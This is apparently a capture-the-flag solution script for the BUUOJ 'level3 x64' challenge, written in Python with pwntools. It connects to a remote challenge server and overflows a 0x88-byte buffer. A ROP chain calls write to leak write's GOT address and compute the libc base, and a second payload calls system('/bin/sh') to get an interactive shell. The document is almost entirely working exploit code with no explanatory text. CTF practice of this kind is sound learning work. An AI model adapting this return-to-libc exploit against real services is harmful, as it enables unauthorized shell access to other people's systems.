buuoj level3 x64 return to libc

from pwn import *
#p = process('./pwn')
#p = process('./level3_x64')
p = remote("node3.buuoj.cn",25333)

p.recvuntil("Input:\n")
libc = ELF('./libc-2.23.so')

poprdiret = 0x00000000004006b3
poprsir15ret = 0x00000000004006b1
pltwrite = 0x00000000004004B0
gotwrite = 0x0000000000600A58
mainaddr = 0x000000000040061A 


payload = 'a'*0x88 + p64(poprdiret) + p64(1) + p64(poprsir15ret) + p64(gotwrite) + p64(0) + p64(pltwrite) +p64(mainaddr)

p.sendline(payload)

gotwriteaddr = u64(p.recv()[0:8])

log.success(hex(gotwriteaddr))

libcbase = gotwriteaddr - libc.symbols["write"] 

log.success(hex(libcbase))

system = libcbase + libc.symbols["system"] 
binsh = libcbase + libc.search("/bin/sh").next()


payload = 'a'*0x88 + p64(poprdiret) + p64(binsh) + p64(system) + p64(0) 

p.sendline(payload)

p.interactive()